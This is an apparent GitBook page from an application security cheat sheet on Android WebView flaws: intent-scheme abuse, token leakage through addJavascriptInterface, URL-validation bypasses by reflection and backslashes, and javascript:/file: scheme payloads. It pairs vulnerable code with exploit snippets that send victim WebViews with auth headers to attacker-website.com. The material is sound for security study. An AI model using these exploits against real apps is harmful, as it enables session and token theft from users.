💻
Application Security Cheat Sheet
  • Application Security Cheat Sheet
  • Android Application
    • Overview
      • Application Data & Files
      • Application Package
      • Application Sandbox
      • Application Signing
      • Deployment
      • Package Manager
    • Intent Vulnerabilities
      • Deep Linking Vulnerabilities
    • WebView Vulnerabilities
      • WebResourceResponse Vulnerabilities
      • WebSettings Vulnerabilities
  • CI/CD
    • Dependency
      • Dependency Confusion
      • Dependency Hijaking
      • Typosquatting
    • GitHub
      • GitHub Actions
      • Code owners
      • Dependabot
      • Redirect
      • Releases
  • Cloud
    • AWS
      • Amazon API Gateway
      • Amazon Cognito
      • Amazon S3
  • Container
    • Overview
      • Container Basics
      • Docker Engine
    • Escaping
      • CVE List
      • Exposed Docker Socket
      • Excessive Capabilities
      • Host Networking Driver
      • PID Namespace Sharing
      • Sensitive Mounts
    • Container Analysis Tools
  • Framework
    • Spring
      • Overview
      • Mass Assignment
      • Routing Abuse
      • SpEL Injection
      • Spring Boot Actuators
      • Spring Data Redis Insecure Deserialization
      • Spring View Manipulation
    • React
      • Overview
      • Security Issues
  • Linux
    • Overview
      • Philosophy
      • File
      • File Descriptor
      • I/O Redirection
      • Process
      • Inter Process Communication
      • Shell
      • Signals
      • Socket
      • User Space vs Kernel Space
    • Bash Tips
  • iOS Application
    • Overview
      • Application Data & Files
      • Application Package
      • Application Sandbox
      • Application Signing
      • Deployment
    • Getting Started
      • IPA Patching
      • Source Code Patching
      • Testing with Objection
  • Resources
    • Lists
      • Payloads
      • Wordlists
    • Researching
      • Web Application
      • Write-ups
    • Software
      • AWS Tools
      • Azure Tools
      • Component Analysis
      • Docker Analysis
      • Dynamic Analysis
      • Fuzzing
      • GCP Tools
      • Reverse Engineering
      • Static Analysis
      • Vulnerability Scanning
    • Training
      • Secure Development
  • Web Application
    • Abusing HTTP hop-by-hop Request Headers
    • Broken Authentication
      • Two-Factor Authentication Vulnerabilities
    • Command Injection
      • Argument Injection
    • Content Security Policy
    • Cookie Security
      • Cookie Bomb
      • Cookie Jar Overflow
      • Cookie Tossing
    • CORS Misconfiguration
    • File Upload Vulnerabilities
    • GraphQL Vulnerabilities
    • HTML Injection
      • base
      • iframe
      • link
      • meta
      • target attribute
    • HTTP Header Security
    • HTTP Request Smuggling
    • Improper Rate Limits
    • JavaScript Prototype Pollution
    • JSON Web Token Vulnerabilities
    • OAuth 2.0 Vulnerabilities
      • OpenID Connect Vulnerabilities
    • Race Condition
    • Server Side Request Forgery
      • Post Exploitation
    • SVG Abuse
    • Weak Random Generation
    • Web Cache Poisoning
Powered by GitBook
On this page
  • Access arbitrary components
  • addJavascriptInterface
  • Bypass URL validation
  • Abusing reflection
  • Broken parser
  • Missing scheme validation
  • setWebContentsDebuggingEnabled
  • References
  1. Android Application

WebView Vulnerabilities

PreviousDeep Linking VulnerabilitiesNextWebResourceResponse Vulnerabilities

Last updated 3 years ago

is a View that displays web pages. WebView objects display web content as part of an activity layout, but lack some of the features of fully-developed browsers.

Access arbitrary components

The Intent class allows developers to convert an intent to a string holding a URI representation of it with the method and create an intent from this URI with the method. An app can use this to parse a URL with the intent scheme into intent and launch an activity while handling the URL within the WebView. If the handling is not implemented correctly, you can access arbitrary components of the app.

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if ("intent".equals(uri.getScheme())) {
        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
        return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}

This code adds a custom handler for URLs with the intent scheme that launch a new activity using the passed URL. You can exploit this mishandling by creating a WebView and redirecting it to a specially crafted intent-scheme URL:

// Intent-scheme URL creation
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://attacker-website.com/");
String url = intent.toUri(Intent.URI_INTENT_SCHEME);
// "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end"
Log.d("d", url);
// AuthWebViewActivity
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
// Redirect within WebView
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end";

However, there are several restrictions:

  • Intent embedded Parcelable and Serializable objects cannot be converted to string and these objects will be ignored.

  • startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))

References:

addJavascriptInterface

This method can provide data to JavaScript or even allow JavaScript to controll the host application. For example, the following interface is leaking a user token:

public class DefaultJavascriptInterface {
    Context context;

    public DefaultJavascriptInterface(Context c) {
        this.context = c;
    }

    @JavascriptInterface
    public getToken() {
        SharedPreferences sharedPref = context.getSharedPreferences(getString(
            R.string.preference_file_key), 
            Context.MODE_PRIVATE
        );
        return sharedPref.getString(getString(R.string.token_key), "")
    }
}
public class DefaultActivity extends Activity {
    // ...

    public void loadWebView() {
        WebView webView = (WebView)findViewById(R.id.web_view);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.addJavascriptInterface(new DefaultJavascriptInterface(this), "DefaultJavascriptInterface")
        // ...
    }
}
<script>
    alert("Token: " + DefaultJavascriptInterface.getToken());
</script>

References:

Bypass URL validation

Abusing reflection

Assume, an app implements the following validation:

// AuthWebViewActivity 
Uri uri = getIntent().getData();
boolean isOurDomain = 
    "https".equals(uri.getScheme()) 
    && uri.getUserInfo() == null
    && "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
    webView.load(uri.toString(), getAuthHeaders());
}

In this case, you can build a URL that will pass validation, but calling uri.toString() will return the attacker's website:

Uri uri;
try {
    Class partClass = Class.forName("android.net.Uri$Part");
    Constructor partConstructor = partClass.getDeclaredConstructors()[0];
    partConstructor.setAccessible(true);

    Class pathPartClass = Class.forName("android.net.Uri$PathPart");
    Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
    pathPartConstructor.setAccessible(true);

    Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
    Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
    hierarchicalUriConstructor.setAccessible(true);

    Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
    Object path = pathPartConstructor.newInstance("@attacker-website.com", "@attacker-website.com");
    uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
    // uri.getScheme()   == https
    // uri.getUserInfo() == null
    // uri.getHost()     == legitimate.com
    // uri.toString()    == https://legitimate.com@attacker-website.com
}
catch (Exception e) {
    throw new RuntimeException(e);
}

Intent intent = new Intent();
intent.setData(uri);
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
startActivity(intent);

This is possible because a victim app does not parse URI itself and trusts the already parsed URI that it received from an untrusted source.

Broken parser

Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
    webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
    // or
    // webView.loadUrl(uri.toString());
}

In this case, you can bypass the restriction with backslashes:

String url = "http://attacker-website.com\\\\@legitimate.com/path";
String host = Uri.parse(url).getHost();
// The "host" variable contains the "legitimate.com" value
Log.d("d", host);
// WebView loads the attacker-website.com
webView.loadUrl(url, getAuthorizationHeaders());

Missing scheme validation

If an app does not validate the scheme value (but may validates the host one) you can try to abuse this with with javascript and file schemes URLs:

javascript://legitimate.com/%0aalert(1)//

file://legitimate.com/sdcard/payload.html

setWebContentsDebuggingEnabled

WebContentsDebugging is not affected by the state of the debuggable flag in the application's manifest.

Enabling this flag allows you to execute arbitrary JavaScript code within any WebViews of an application.

References:

References

Developers can override the method of the WebViewClient class to handle all efforts to load a new link within WebView. The example of mishandling might look as follows:

The ignores the and flags by default. The parser leaves them only if the flag is set.

method injects the supplied Java object into this WebView. The object is injected into all frames of the web page, including all the iframes, using the supplied name. This allows the Java object's methods to be accessed from JavaScript (the Java object's fields are not accessible).

The is an abstract class with a few internal subclasses, that allows you to build custom URI with arbitrary parts using android.net.Uri$HierarchicalUri.

The does not recognize backslashes in the authority part (but java.net.URI throws an exception), this allows you to bypass a URL validation. For example, the vulnerable code can look as follows:

enables debugging of web contents (HTML/CSS/JavaScript) loaded into any WebViews of an application. This flag is used in order to facilitate debugging of web layouts and JavaScript code running inside WebViews.

shouldOverrideUrlLoading()
Intent.parseUri(stringUri, flags)
Intent.FLAG_GRANT_READ_URI_PERMISSION
Intent.FLAG_GRANT_WRITE_URI_PERMISSION
Intent.URI_ALLOW_UNSAFE
Whitepaper – Attacking Android browsers via intent scheme URLs
addJavascriptInterface
Report: [Grab Android/iOS] Insecure deeplink leads to sensitive information disclosure
android.net.Uri
android.net.Uri
setWebContentsDebuggingEnabled
Remote debugging WebViews
Oversecured: Android Access to app protected components
Golden techniques to bypass host validations in Android apps
WebView
toUri(flags)
parseUri(stringUri, flags)
LogoIntent Vulnerabilitiescheat-sheets